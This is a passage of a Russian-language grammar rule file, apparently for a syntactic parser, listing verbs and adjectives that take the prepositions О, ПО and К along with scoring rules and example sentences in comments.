rus_verbs:осведомить{}, // о последних достижениях науки
rus_verbs:рассказывать{}, // Антонио рассказывает о работе
rus_verbs:говорить{}, // говорим о трех больших псах
rus_verbs:идти{} // Вопрос идёт о войне.
}
fact гл_предл
{
if context { Гл_О_предл предлог:о{} *:*{ падеж:предл } }
then return true
}
// Мы поделились впечатлениями о выставке.
// ^^^^^^^^^^ ^^^^^^^^^^
fact гл_предл
{
if context { * предлог:о{} *:*{ падеж:предл } }
then return false,-3
}
fact гл_предл
{
if context { * предлог:о{} *:*{} }
then return false,-5
}
#endregion Предлог_О
#region Предлог_ПО
// ------------------- С ПРЕДЛОГОМ 'ПО' ----------------------
// для этих глаголов - запрещаем связывание с ПО+дат.п.
wordentry_set Глаг_ПО_Дат_Запр=
{
rus_verbs:предпринять{}, // предпринять шаги по стимулированию продаж
rus_verbs:увлечь{}, // увлечь в прогулку по парку
rus_verbs:закончить{},
rus_verbs:мочь{},
rus_verbs:хотеть{}
}
fact гл_предл
{
if context { Глаг_ПО_Дат_Запр предлог:по{} *:*{ падеж:дат } }
then return false,-10
}
// По умолчанию разрешаем связывание в паттернах типа
// Я иду по шоссе
fact гл_предл
{
if context { * предлог:по{} *:*{ падеж:дат } }
then return true
}
wordentry_set Глаг_ПО_Вин=
{
rus_verbs:ВОЙТИ{}, // лезвие вошло по рукоять (ВОЙТИ)
rus_verbs:иметь{}, // все месяцы имели по тридцать дней. (ИМЕТЬ ПО)
rus_verbs:материализоваться{}, // материализоваться по другую сторону барьера
rus_verbs:засадить{}, // засадить по рукоятку
rus_verbs:увязнуть{} // увязнуть по колено
}
fact гл_предл
{
if context { Глаг_ПО_Вин предлог:по{} *:*{ падеж:вин } }
then return true
}
// для остальных падежей запрещаем.
fact гл_предл
{
if context { * предлог:по{} *:*{ падеж:вин } }
then return false,-5
}
#endregion Предлог_ПО
#region Предлог_К
// ------------------- С ПРЕДЛОГОМ 'К' ----------------------
wordentry_set Гл_К_Дат={
rus_verbs:заявиться{}, // Сразу же после обеда к нам заявилась Юлия Михайловна.
rus_verbs:приставлять{} , // Приставляет дуло пистолета к виску.
прилагательное:НЕПРИГОДНЫЙ{}, // большинство компьютеров из этой партии оказались непригодными к эксплуатации (НЕПРИГОДНЫЙ)
rus_verbs:СБЕГАТЬСЯ{}, // Они чуяли воду и сбегались к ней отовсюду. (СБЕГАТЬСЯ)
rus_verbs:СБЕЖАТЬСЯ{}, // К бетонной скамье начали сбегаться люди. (СБЕГАТЬСЯ/СБЕЖАТЬСЯ)
rus_verbs:ПРИТИРАТЬСЯ{}, // Менее стойких водителей буквально сметало на другую полосу, и они впритык притирались к другим машинам. (ПРИТИРАТЬСЯ)
rus_verbs:РУХНУТЬ{}, // а потом ты без чувств рухнул к моим ногам (РУХНУТЬ)
rus_verbs:ПЕРЕНЕСТИ{}, // Они перенесли мясо к ручью и поджарили его на костре. (ПЕРЕНЕСТИ)
rus_verbs:ЗАВЕСТИ{}, // как путь мой завел меня к нему? (ЗАВЕСТИ)
rus_verbs:НАГРЯНУТЬ{}, // ФБР нагрянуло с обыском к сестре бостонских террористов (НАГРЯНУТЬ)
rus_verbs:ПРИСЛОНЯТЬСЯ{}, // Рабы ложились на пол, прислонялись к стене и спали. (ПРИСЛОНЯТЬСЯ,ПРИНОРАВЛИВАТЬСЯ,ПРИНОРОВИТЬСЯ)
rus_verbs:ПРИНОРАВЛИВАТЬСЯ{}, //
rus_verbs:ПРИНОРОВИТЬСЯ{}, //
rus_verbs:СПЛАНИРОВАТЬ{}, // Вскоре она остановила свое падение и спланировала к ним. (СПЛАНИРОВАТЬ,СПИКИРОВАТЬ,РУХНУТЬ)
rus_verbs:СПИКИРОВАТЬ{}, //
rus_verbs:ЗАБРАТЬСЯ{}, // Поэтому он забрался ко мне в квартиру с имевшимся у него полумесяцем. (ЗАБРАТЬСЯ К, В, С)
rus_verbs:ПРОТЯГИВАТЬ{}, // Оно протягивало свои длинные руки к молодому человеку, стоявшему на плоской вершине валуна. (ПРОТЯГИВАТЬ/ПРОТЯНУТЬ/ТЯНУТЬ)
rus_verbs:ПРОТЯНУТЬ{}, //
rus_verbs:ТЯНУТЬ{}, //
rus_verbs:ПЕРЕБИРАТЬСЯ{}, // Ее губы медленно перебирались к его уху. (ПЕРЕБИРАТЬСЯ,ПЕРЕБРАТЬСЯ,ПЕРЕБАЗИРОВАТЬСЯ,ПЕРЕМЕСТИТЬСЯ,ПЕРЕМЕЩАТЬСЯ)
rus_verbs:ПЕРЕБРАТЬСЯ{}, // ,,,
rus_verbs:ПЕРЕБАЗИРОВАТЬСЯ{}, //
rus_verbs:ПЕРЕМЕСТИТЬСЯ{}, //
rus_verbs:ПЕРЕМЕЩАТЬСЯ{}, //
rus_verbs:ТРОНУТЬСЯ{}, // Он отвернулся от нее и тронулся к пляжу. (ТРОНУТЬСЯ)
rus_verbs:ПРИСТАВИТЬ{}, // Он поднял одну из них и приставил верхний конец к краю шахты в потолке.
rus_verbs:ПРОБИТЬСЯ{}, // Отряд с невероятными приключениями, пытается пробиться к своему полку, попадает в плен и другие передряги (ПРОБИТЬСЯ)
rus_verbs:хотеть{},
rus_verbs:СДЕЛАТЬ{}, // Сделайте всё к понедельнику (СДЕЛАТЬ)
rus_verbs:ИСПЫТЫВАТЬ{}, // она испытывает ко мне только отвращение (ИСПЫТЫВАТЬ)
rus_verbs:ОБЯЗЫВАТЬ{}, // Это меня ни к чему не обязывает (ОБЯЗЫВАТЬ)
rus_verbs:КАРАБКАТЬСЯ{}, // карабкаться по горе от подножия к вершине (КАРАБКАТЬСЯ)
rus_verbs:СТОЯТЬ{}, // мужчина стоял ко мне спиной (СТОЯТЬ)
rus_verbs:ПОДАТЬСЯ{}, // наконец люк подался ко мне (ПОДАТЬСЯ)
rus_verbs:ПРИРАВНЯТЬ{}, // Усилия нельзя приравнять к результату (ПРИРАВНЯТЬ)
rus_verbs:ПРИРАВНИВАТЬ{}, // Усилия нельзя приравнивать к результату (ПРИРАВНИВАТЬ)
rus_verbs:ВОЗЛОЖИТЬ{}, // Путин в Пскове возложил цветы к памятнику воинам-десантникам, погибшим в Чечне (ВОЗЛОЖИТЬ)
rus_verbs:запустить{}, // Индия запустит к Марсу свой космический аппарат в 2013 г
rus_verbs:ПРИСТЫКОВАТЬСЯ{}, // Роботизированный российский грузовой космический корабль пристыковался к МКС (ПРИСТЫКОВАТЬСЯ)
rus_verbs:ПРИМАЗАТЬСЯ{}, // К челябинскому метеориту примазалась таинственная слизь (ПРИМАЗАТЬСЯ)
rus_verbs:ПОПРОСИТЬ{}, // Попросите Лизу к телефону (ПОПРОСИТЬ К)
rus_verbs:ПРОЕХАТЬ{}, // Порой школьные автобусы просто не имеют возможности проехать к некоторым населенным пунктам из-за бездорожья (ПРОЕХАТЬ К)
rus_verbs:ПОДЦЕПЛЯТЬСЯ{}, // Вагоны с пассажирами подцепляются к составу (ПОДЦЕПЛЯТЬСЯ К)
rus_verbs:ПРИЗВАТЬ{}, // Президент Афганистана призвал талибов к прямому диалогу (ПРИЗВАТЬ К)
rus_verbs:ПРЕОБРАЗИТЬСЯ{}, // Культовый столичный отель преобразился к юбилею (ПРЕОБРАЗИТЬСЯ К)
прилагательное:ЧУВСТВИТЕЛЬНЫЙ{}, // нейроны одного комплекса чувствительны к разным веществам (ЧУВСТВИТЕЛЬНЫЙ К)
безлич_глагол:нужно{}, // нам нужно к воротам (НУЖНО К)
rus_verbs:БРОСИТЬ{}, // огромный клюв бросил это мясо к моим ногам (БРОСИТЬ К)
rus_verbs:ЗАКОНЧИТЬ{}, // к пяти утра техники закончили (ЗАКОНЧИТЬ К)
rus_verbs:НЕСТИ{}, // к берегу нас несет! (НЕСТИ К)
rus_verbs:ПРОДВИГАТЬСЯ{}, // племена медленно продвигались к востоку (ПРОДВИГАТЬСЯ К)
rus_verbs:ОПУСКАТЬСЯ{}, // деревья опускались к самой воде (ОПУСКАТЬСЯ К)
rus_verbs:СТЕМНЕТЬ{}, // к тому времени стемнело (СТЕМНЕЛО К)
rus_verbs:ОТСКОЧИТЬ{}, // после отскочил к окну (ОТСКОЧИТЬ К)
rus_verbs:ДЕРЖАТЬСЯ{}, // к солнцу держались спинами (ДЕРЖАТЬСЯ К)
rus_verbs:КАЧНУТЬСЯ{}, // толпа качнулась к ступеням (КАЧНУТЬСЯ К)
rus_verbs:ВОЙТИ{}, // Андрей вошел к себе (ВОЙТИ К)
rus_verbs:ВЫБРАТЬСЯ{}, // мы выбрались к окну (ВЫБРАТЬСЯ К)
rus_verbs:ПРОВЕСТИ{}, // провел к стене спальни (ПРОВЕСТИ К)
rus_verbs:ВЕРНУТЬСЯ{}, // давай вернемся к делу (ВЕРНУТЬСЯ К)
rus_verbs:ВОЗВРАТИТЬСЯ{}, // Среди евреев, живших в диаспоре, всегда было распространено сильное стремление возвратиться к Сиону (ВОЗВРАТИТЬСЯ К)
rus_verbs:ПРИЛЕГАТЬ{}, // Задняя поверхность хрусталика прилегает к стекловидному телу (ПРИЛЕГАТЬ К)
rus_verbs:ПЕРЕНЕСТИСЬ{}, // мысленно Алёна перенеслась к заливу (ПЕРЕНЕСТИСЬ К)
rus_verbs:ПРОБИВАТЬСЯ{}, // сквозь болото к берегу пробивался ручей. (ПРОБИВАТЬСЯ К)
rus_verbs:ПЕРЕВЕСТИ{}, // необходимо срочно перевести стадо к воде. (ПЕРЕВЕСТИ К)
rus_verbs:ПРИЛЕТЕТЬ{}, // зачем ты прилетел к нам? (ПРИЛЕТЕТЬ К)
rus_verbs:ДОБАВИТЬ{}, // добавить ли ее к остальным? (ДОБАВИТЬ К)
rus_verbs:ПРИГОТОВИТЬ{}, // Матвей приготовил лук к бою. (ПРИГОТОВИТЬ К)
rus_verbs:РВАНУТЬ{}, // человек рванул ее к себе. (РВАНУТЬ К)
rus_verbs:ТАЩИТЬ{}, // они тащили меня к двери. (ТАЩИТЬ К)
глагол:быть{}, // к тебе есть вопросы.
прилагательное:равнодушный{}, // Он равнодушен к музыке.
rus_verbs:ПОЖАЛОВАТЬ{}, // скандально известный певец пожаловал к нам на передачу (ПОЖАЛОВАТЬ К)
rus_verbs:ПЕРЕСЕСТЬ{}, // Ольга пересела к Антону (ПЕРЕСЕСТЬ К)
инфинитив:СБЕГАТЬ{ вид:соверш }, глагол:СБЕГАТЬ{ вид:соверш }, // сбегай к Борису (СБЕГАТЬ К)
rus_verbs:ПЕРЕХОДИТЬ{}, // право хода переходит к Адаму (ПЕРЕХОДИТЬ К)
rus_verbs:прижаться{}, // она прижалась щекой к его шее. (прижаться+к)
rus_verbs:ПОДСКОЧИТЬ{}, // солдат быстро подскочил ко мне. (ПОДСКОЧИТЬ К)
rus_verbs:ПРОБРАТЬСЯ{}, // нужно пробраться к реке. (ПРОБРАТЬСЯ К)
rus_verbs:ГОТОВИТЬ{}, // нас готовили к этому. (ГОТОВИТЬ К)
rus_verbs:ТЕЧЬ{}, // река текла к морю. (ТЕЧЬ К)
rus_verbs:ОТШАТНУТЬСЯ{}, // епископ отшатнулся к стене. (ОТШАТНУТЬСЯ К)
rus_verbs:БРАТЬ{}, // брали бы к себе. (БРАТЬ К)
rus_verbs:СКОЛЬЗНУТЬ{}, // ковер скользнул к пещере. (СКОЛЬЗНУТЬ К)
rus_verbs:присохнуть{}, // Грязь присохла к одежде. (присохнуть к)
rus_verbs:просить{}, // Директор просит вас к себе. (просить к)
rus_verbs:вызывать{}, // шеф вызывал к себе. (вызывать к)
rus_verbs:присесть{}, // старик присел к огню. (присесть к)
rus_verbs:НАКЛОНИТЬСЯ{}, // Ричард наклонился к брату. (НАКЛОНИТЬСЯ К)
rus_verbs:выбираться{}, // будем выбираться к дороге. (выбираться к)
rus_verbs:отвернуться{}, // Виктор отвернулся к стене. (отвернуться к)
rus_verbs:СТИХНУТЬ{}, // огонь стих к полудню. (СТИХНУТЬ К)
rus_verbs:УПАСТЬ{}, // нож упал к ногам. (УПАСТЬ К)
rus_verbs:СЕСТЬ{}, // молча сел к огню. (СЕСТЬ К)
rus_verbs:ХЛЫНУТЬ{}, // народ хлынул к стенам. (ХЛЫНУТЬ К)
rus_verbs:покатиться{}, // они черной волной покатились ко мне. (покатиться к)
rus_verbs:ОБРАТИТЬ{}, // она обратила к нему свое бледное лицо. (ОБРАТИТЬ К)
rus_verbs:СКЛОНИТЬ{}, // Джон слегка склонил голову к плечу. (СКЛОНИТЬ К)
rus_verbs:СВЕРНУТЬ{}, // дорожка резко свернула к южной стене. (СВЕРНУТЬ К)
rus_verbs:ЗАВЕРНУТЬ{}, // Он завернул к нам по пути к месту службы. (ЗАВЕРНУТЬ К)
rus_verbs:подходить{}, // цвет подходил ей к лицу.
rus_verbs:БРЕСТИ{}, // Ричард покорно брел к отцу. (БРЕСТИ К)
rus_verbs:ПОПАСТЬ{}, // хочешь попасть к нему? (ПОПАСТЬ К)
rus_verbs:ПОДНЯТЬ{}, // Мартин поднял ружье к плечу. (ПОДНЯТЬ К)
rus_verbs:ПОТЕРЯТЬ{}, // просто потеряла к нему интерес. (ПОТЕРЯТЬ К)
rus_verbs:РАЗВЕРНУТЬСЯ{}, // они сразу развернулись ко мне. (РАЗВЕРНУТЬСЯ К)
rus_verbs:ПОВЕРНУТЬ{}, // мальчик повернул к ним голову. (ПОВЕРНУТЬ К)
rus_verbs:вызвать{}, // или вызвать к жизни? (вызвать к)
rus_verbs:ВЫХОДИТЬ{}, // их земли выходят к морю. (ВЫХОДИТЬ К)
rus_verbs:ЕХАТЬ{}, // мы долго ехали к вам. (ЕХАТЬ К)
rus_verbs:опуститься{}, // Алиса опустилась к самому дну. (опуститься к)
rus_verbs:подняться{}, // они молча поднялись к себе. (подняться к)
rus_verbs:ДВИНУТЬСЯ{}, // толстяк тяжело двинулся к ним. (ДВИНУТЬСЯ К)
rus_verbs:ПОПЯТИТЬСЯ{}, // ведьмак осторожно попятился к лошади. (ПОПЯТИТЬСЯ К)
rus_verbs:РИНУТЬСЯ{}, // мышелов ринулся к черной стене. (РИНУТЬСЯ К)
rus_verbs:ТОЛКНУТЬ{}, // к этому толкнул ее ты. (ТОЛКНУТЬ К)
rus_verbs:отпрыгнуть{}, // Вадим поспешно отпрыгнул к борту. (отпрыгнуть к)
rus_verbs:отступить{}, // мы поспешно отступили к стене. (отступить к)
rus_verbs:ЗАБРАТЬ{}, // мы забрали их к себе. (ЗАБРАТЬ к)
rus_verbs:ВЗЯТЬ{}, // потом возьму тебя к себе. (ВЗЯТЬ К)
rus_verbs:лежать{}, // наш путь лежал к ним. (лежать к)
rus_verbs:поползти{}, // ее рука поползла к оружию. (поползти к)
rus_verbs:требовать{}, // вас требует к себе император. (требовать к)
rus_verbs:поехать{}, // ты должен поехать к нему. (поехать к)
rus_verbs:тянуться{}, // мордой животное тянулось к земле. (тянуться к)
rus_verbs:ЖДАТЬ{}, // жди их завтра к утру. (ЖДАТЬ К)
rus_verbs:ПОЛЕТЕТЬ{}, // они стремительно полетели к земле. (ПОЛЕТЕТЬ К)
rus_verbs:подойти{}, // помоги мне подойти к столу. (подойти к)
rus_verbs:РАЗВЕРНУТЬ{}, // мужик развернул к нему коня. (РАЗВЕРНУТЬ К)
rus_verbs:ПРИВЕЗТИ{}, // нас привезли прямо к королю. (ПРИВЕЗТИ К)
rus_verbs:отпрянуть{}, // незнакомец отпрянул к стене. (отпрянуть к)
rus_verbs:побежать{}, // Cергей побежал к двери. (побежать к)
rus_verbs:отбросить{}, // сильный удар отбросил его к стене. (отбросить к)
rus_verbs:ВЫНУДИТЬ{}, // они вынудили меня к сотрудничеству (ВЫНУДИТЬ К)
rus_verbs:подтянуть{}, // он подтянул к себе стул и сел на него (подтянуть к)
rus_verbs:сойти{}, // по узкой тропинке путники сошли к реке. (сойти к)
rus_verbs:являться{}, // по ночам к нему являлись призраки. (являться к)
rus_verbs:ГНАТЬ{}, // ледяной ветер гнал их к югу. (ГНАТЬ К)
rus_verbs:ВЫВЕСТИ{}, // она вывела нас точно к месту. (ВЫВЕСТИ К)
rus_verbs:выехать{}, // почти сразу мы выехали к реке.
rus_verbs:пододвигаться{}, // пододвигайся к окну
rus_verbs:броситься{}, // большая часть защитников стен бросилась к воротам.
rus_verbs:представить{}, // Его представили к ордену.
rus_verbs:двигаться{}, // между тем чудище неторопливо двигалось к берегу.
rus_verbs:выскочить{}, // тем временем они выскочили к реке.
rus_verbs:выйти{}, // тем временем они вышли к лестнице.
rus_verbs:потянуть{}, // Мальчик схватил верёвку и потянул её к себе.
rus_verbs:приложить{}, // приложить к детали повышенное усилие
rus_verbs:пройти{}, // пройти к стойке регистрации (стойка регистрации - проверить проверку)
rus_verbs:отнестись{}, // отнестись к животным с сочуствием
rus_verbs:привязать{}, // привязать за лапу веревкой к колышку, воткнутому в землю
rus_verbs:прыгать{}, // прыгать к хозяину на стол
rus_verbs:приглашать{}, // приглашать к доктору
rus_verbs:рваться{}, // Чужие люди рвутся к власти
rus_verbs:понестись{}, // понестись к обрыву
rus_verbs:питать{}, // питать привязанность к алкоголю
rus_verbs:заехать{}, // Коля заехал к Оле
rus_verbs:переехать{}, // переехать к родителям
rus_verbs:ползти{}, // ползти к дороге
rus_verbs:сводиться{}, // сводиться к элементарному действию
rus_verbs:добавлять{}, // добавлять к общей сумме
rus_verbs:подбросить{}, // подбросить к потолку
rus_verbs:призывать{}, // призывать к спокойствию
rus_verbs:пробираться{}, // пробираться к партизанам
rus_verbs:отвезти{}, // отвезти к родителям
rus_verbs:применяться{}, // применяться к уравнению
rus_verbs:сходиться{}, // сходиться к точному решению
rus_verbs:допускать{}, // допускать к сдаче зачета
rus_verbs:свести{}, // свести к нулю
rus_verbs:придвинуть{}, // придвинуть к мальчику
rus_verbs:подготовить{}, // подготовить к печати
rus_verbs:подобраться{}, // подобраться к оленю
rus_verbs:заторопиться{}, // заторопиться к выходу
rus_verbs:пристать{}, // пристать к берегу
rus_verbs:поманить{}, // поманить к себе
rus_verbs:припасть{}, // припасть к алтарю
rus_verbs:притащить{}, // притащить к себе домой
rus_verbs:прижимать{}, // прижимать к груди
rus_verbs:подсесть{}, // подсесть к симпатичной девочке
rus_verbs:придвинуться{}, // придвинуться к окну
rus_verbs:отпускать{}, // отпускать к другу
rus_verbs:пригнуться{}, // пригнуться к земле
rus_verbs:пристроиться{}, // пристроиться к колонне
rus_verbs:сгрести{}, // сгрести к себе
rus_verbs:удрать{}, // удрать к цыганам
rus_verbs:прибавиться{}, // прибавиться к общей сумме
rus_verbs:присмотреться{}, // присмотреться к покупке
rus_verbs:подкатить{}, // подкатить к трюму
rus_verbs:клонить{}, // клонить ко сну
rus_verbs:проследовать{}, // проследовать к выходу
rus_verbs:пододвинуть{}, // пододвинуть к себе
rus_verbs:применять{}, // применять к сотрудникам
rus_verbs:прильнуть{}, // прильнуть к экранам
rus_verbs:подвинуть{}, // подвинуть к себе
rus_verbs:примчаться{}, // примчаться к папе
rus_verbs:подкрасться{}, // подкрасться к жертве
rus_verbs:привязаться{}, // привязаться к собаке
rus_verbs:забирать{}, // забирать к себе
rus_verbs:прорваться{}, // прорваться к кассе
rus_verbs:прикасаться{}, // прикасаться к коже
rus_verbs:уносить{}, // уносить к себе
rus_verbs:подтянуться{}, // подтянуться к месту
rus_verbs:привозить{}, // привозить к ветеринару
rus_verbs:подползти{}, // подползти к зайцу
rus_verbs:приблизить{}, // приблизить к глазам
rus_verbs:применить{}, // применить к уравнению простое преобразование
rus_verbs:приглядеться{}, // приглядеться к изображению
rus_verbs:приложиться{}, // приложиться к ручке
rus_verbs:приставать{}, // приставать к девчонкам
rus_verbs:запрещаться{}, // запрещаться к показу
rus_verbs:прибегать{}, // прибегать к насилию
rus_verbs:побудить{}, // побудить к действиям
rus_verbs:притягивать{}, // притягивать к себе
rus_verbs:пристроить{}, // пристроить к полезному делу
rus_verbs:приговорить{}, // приговорить к смерти
rus_verbs:склоняться{}, // склоняться к прекращению разработки
rus_verbs:подъезжать{}, // подъезжать к вокзалу
rus_verbs:привалиться{}, // привалиться к забору
rus_verbs:наклоняться{}, // наклоняться к щенку
rus_verbs:подоспеть{}, // подоспеть к обеду
rus_verbs:прилипнуть{}, // прилипнуть к окну
rus_verbs:приволочь{}, // приволочь к себе
rus_verbs:устремляться{}, // устремляться к вершине
rus_verbs:откатиться{}, // откатиться к исходным позициям
rus_verbs:побуждать{}, // побуждать к действиям
rus_verbs:прискакать{}, // прискакать к кормежке
rus_verbs:присматриваться{}, // присматриваться к новичку
rus_verbs:прижиматься{}, // прижиматься к борту
rus_verbs:жаться{}, // жаться к огню
rus_verbs:передвинуть{}, // передвинуть к окну
rus_verbs:допускаться{}, // допускаться к экзаменам
rus_verbs:прикрепить{}, // прикрепить к корпусу
rus_verbs:отправлять{}, // отправлять к специалистам
rus_verbs:перебежать{}, // перебежать к врагам
rus_verbs:притронуться{}, // притронуться к реликвии
rus_verbs:заспешить{}, // заспешить к семье
rus_verbs:ревновать{}, // ревновать к сопернице
rus_verbs:подступить{}, // подступить к горлу
rus_verbs:уводить{}, // уводить к ветеринару
rus_verbs:побросать{}, // побросать к ногам
rus_verbs:подаваться{}, // подаваться к ужину
rus_verbs:приписывать{}, // приписывать к достижениям
rus_verbs:относить{}, // относить к растениям
rus_verbs:принюхаться{}, // принюхаться к ароматам
rus_verbs:подтащить{}, // подтащить к себе
rus_verbs:прислонить{}, // прислонить к стене
rus_verbs:подплыть{}, // подплыть к бую
rus_verbs:опаздывать{}, // опаздывать к стилисту
rus_verbs:примкнуть{}, // примкнуть к деомнстрантам
rus_verbs:стекаться{}, // стекаются к стенам тюрьмы
rus_verbs:подготовиться{}, // подготовиться к марафону
rus_verbs:приглядываться{}, // приглядываться к новичку
rus_verbs:присоединяться{}, // присоединяться к сообществу
rus_verbs:клониться{}, // клониться ко сну
rus_verbs:привыкать{}, // привыкать к хорошему
rus_verbs:принудить{}, // принудить к миру
rus_verbs:уплыть{}, // уплыть к далекому берегу
rus_verbs:утащить{}, // утащить к детенышам
rus_verbs:приплыть{}, // приплыть к финишу
rus_verbs:подбегать{}, // подбегать к хозяину
rus_verbs:лишаться{}, // лишаться средств к существованию
rus_verbs:приступать{}, // приступать к операции
rus_verbs:пробуждать{}, // пробуждать лекцией интерес к математике
rus_verbs:подключить{}, // подключить к трубе
rus_verbs:подключиться{}, // подключиться к сети
rus_verbs:прилить{}, // прилить к лицу
rus_verbs:стучаться{}, // стучаться к соседям
rus_verbs:пристегнуть{}, // пристегнуть к креслу
rus_verbs:присоединить{}, // присоединить к сети
rus_verbs:отбежать{}, // отбежать к противоположной стене
rus_verbs:подвезти{}, // подвезти к набережной
rus_verbs:прибегнуть{}, // прибегнуть к хитрости
rus_verbs:приучить{}, // приучить к туалету
rus_verbs:подталкивать{}, // подталкивать к выходу
rus_verbs:прорываться{}, // прорываться к выходу
rus_verbs:увозить{}, // увозить к ветеринару
rus_verbs:засеменить{}, // засеменить к выходу
rus_verbs:крепиться{}, // крепиться к потолку
rus_verbs:прибрать{}, // прибрать к рукам
rus_verbs:пристраститься{}, // пристраститься к наркотикам
rus_verbs:поспеть{}, // поспеть к обеду
rus_verbs:привязывать{}, // привязывать к дереву
rus_verbs:прилагать{}, // прилагать к документам
rus_verbs:переправить{}, // переправить к дедушке
rus_verbs:подогнать{}, // подогнать к воротам
rus_verbs:тяготеть{}, // тяготеть к социализму
rus_verbs:подбираться{}, // подбираться к оленю
rus_verbs:подступать{}, // подступать к горлу
rus_verbs:примыкать{}, // примыкать к первому элементу
rus_verbs:приладить{}, // приладить к велосипеду
rus_verbs:подбрасывать{}, // подбрасывать к потолку
rus_verbs:перевозить{}, // перевозить к новому месту дислокации
rus_verbs:усаживаться{}, // усаживаться к окну
rus_verbs:приближать{}, // приближать к глазам
rus_verbs:попроситься{}, // попроситься к бабушке
rus_verbs:прибить{}, // прибить к доске
rus_verbs:перетащить{}, // перетащить к себе
rus_verbs:прицепить{}, // прицепить к паровозу
rus_verbs:прикладывать{}, // прикладывать к ране
rus_verbs:устареть{}, // устареть к началу войны
rus_verbs:причалить{}, // причалить к пристани
rus_verbs:приспособиться{}, // приспособиться к опозданиям
rus_verbs:принуждать{}, // принуждать к миру
rus_verbs:соваться{}, // соваться к директору
rus_verbs:протолкаться{}, // протолкаться к прилавку
rus_verbs:приковать{}, // приковать к батарее
rus_verbs:подкрадываться{}, // подкрадываться к суслику
rus_verbs:подсадить{}, // подсадить к арестонту
rus_verbs:прикатить{}, // прикатить к финишу
rus_verbs:протащить{}, // протащить к владыке
rus_verbs:сужаться{}, // сужаться к основанию
rus_verbs:присовокупить{}, // присовокупить к пожеланиям
rus_verbs:пригвоздить{}, // пригвоздить к доске
rus_verbs:отсылать{}, // отсылать к первоисточнику
rus_verbs:изготовиться{}, // изготовиться к прыжку
rus_verbs:прилагаться{}, // прилагаться к покупке
rus_verbs:прицепиться{}, // прицепиться к вагону
rus_verbs:примешиваться{}, // примешиваться к вину
rus_verbs:переселить{}, // переселить к старшекурсникам
rus_verbs:затрусить{}, // затрусить к выходе
rus_verbs:приспособить{}, // приспособить к обогреву
rus_verbs:примериться{}, // примериться к аппарату
rus_verbs:прибавляться{}, // прибавляться к пенсии
rus_verbs:подкатиться{}, // подкатиться к воротам
rus_verbs:стягивать{}, // стягивать к границе
rus_verbs:дописать{}, // дописать к роману
rus_verbs:подпустить{}, // подпустить к корове
rus_verbs:склонять{}, // склонять к сотрудничеству
rus_verbs:припечатать{}, // припечатать к стене
rus_verbs:охладеть{}, // охладеть к музыке
rus_verbs:пришить{}, // пришить к шинели
rus_verbs:принюхиваться{}, // принюхиваться к ветру
rus_verbs:подрулить{}, // подрулить к барышне
rus_verbs:наведаться{}, // наведаться к оракулу
rus_verbs:клеиться{}, // клеиться к конверту
rus_verbs:перетянуть{}, // перетянуть к себе
rus_verbs:переметнуться{}, // переметнуться к конкурентам
rus_verbs:липнуть{}, // липнуть к сокурсницам
rus_verbs:поковырять{}, // поковырять к выходу
rus_verbs:подпускать{}, // подпускать к пульту управления
rus_verbs:присосаться{}, // присосаться к источнику
rus_verbs:приклеить{}, // приклеить к стеклу
rus_verbs:подтягивать{}, // подтягивать к себе
rus_verbs:подкатывать{}, // подкатывать к даме
rus_verbs:притрагиваться{}, // притрагиваться к опухоли
rus_verbs:слетаться{}, // слетаться к водопою
rus_verbs:хаживать{}, // хаживать к батюшке
rus_verbs:привлекаться{}, // привлекаться к административной ответственности
rus_verbs:подзывать{}, // подзывать к себе
rus_verbs:прикладываться{}, // прикладываться к иконе
rus_verbs:подтягиваться{}, // подтягиваться к парламенту
rus_verbs:прилепить{}, // прилепить к стенке холодильника
rus_verbs:пододвинуться{}, // пододвинуться к экрану
rus_verbs:приползти{}, // приползти к дереву
rus_verbs:запаздывать{}, // запаздывать к обеду
rus_verbs:припереть{}, // припереть к стене
rus_verbs:нагибаться{}, // нагибаться к цветку
инфинитив:сгонять{ вид:соверш }, глагол:сгонять{ вид:соверш }, // сгонять к воротам
деепричастие:сгоняв{},
rus_verbs:поковылять{}, // поковылять к выходу
rus_verbs:привалить{}, // привалить к столбу
rus_verbs:отпроситься{}, // отпроситься к родителям
rus_verbs:приспосабливаться{}, // приспосабливаться к новым условиям
rus_verbs:прилипать{}, // прилипать к рукам
rus_verbs:подсоединить{}, // подсоединить к приборам
rus_verbs:приливать{}, // приливать к голове
rus_verbs:подселить{}, // подселить к другим новичкам
rus_verbs:прилепиться{}, // прилепиться к шкуре
rus_verbs:подлетать{}, // подлетать к пункту назначения
rus_verbs:пристегнуться{}, // пристегнуться к креслу ремнями
rus_verbs:прибиться{}, // прибиться к стае, улетающей на юг
rus_verbs:льнуть{}, // льнуть к заботливому хозяину
rus_verbs:привязываться{}, // привязываться к любящему хозяину
rus_verbs:приклеиться{}, // приклеиться к спине
rus_verbs:стягиваться{}, // стягиваться к сенату
rus_verbs:подготавливать{}, // подготавливать к выходу на арену
rus_verbs:приглашаться{}, // приглашаться к доктору
rus_verbs:причислять{}, // причислять к отличникам
rus_verbs:приколоть{}, // приколоть к лацкану
rus_verbs:наклонять{}, // наклонять к горизонту
rus_verbs:припадать{}, // припадать к первоисточнику
rus_verbs:приобщиться{}, // приобщиться к культурному наследию
rus_verbs:придираться{}, // придираться к мелким ошибкам
rus_verbs:приучать{}, // приучать к лотку
rus_verbs:промотать{}, // промотать к началу
rus_verbs:прихлынуть{}, // прихлынуть к голове
rus_verbs:пришвартоваться{}, // пришвартоваться к первому пирсу
rus_verbs:прикрутить{}, // прикрутить к велосипеду
rus_verbs:подплывать{}, // подплывать к лодке
rus_verbs:приравниваться{}, // приравниваться к побегу
rus_verbs:подстрекать{}, // подстрекать к вооруженной борьбе с оккупантами
rus_verbs:изготовляться{}, // изготовляться к прыжку из стратосферы
rus_verbs:приткнуться{}, // приткнуться к первой группе туристов
rus_verbs:приручить{}, // приручить котика к лотку
rus_verbs:приковывать{}, // приковывать к себе все внимание прессы
rus_verbs:приготовляться{}, // приготовляться к первому экзамену
rus_verbs:остыть{}, // Вода остынет к утру.
rus_verbs:приехать{}, // Он приедет к концу будущей недели.
rus_verbs:подсаживаться{},
rus_verbs:успевать{}, // успевать к стилисту
rus_verbs:привлекать{}, // привлекать к себе внимание
прилагательное:устойчивый{}, // переводить в устойчивую к перегреву форму
rus_verbs:прийтись{}, // прийтись ко двору
инфинитив:адаптировать{вид:несоверш}, // машина была адаптирована к условиям крайнего севера
инфинитив:адаптировать{вид:соверш},
глагол:адаптировать{вид:несоверш},
глагол:адаптировать{вид:соверш},
деепричастие:адаптировав{},
деепричастие:адаптируя{},
прилагательное:адаптирующий{},
прилагательное:адаптировавший{ вид:соверш },
//+прилагательное:адаптировавший{ вид:несоверш },
прилагательное:адаптированный{},
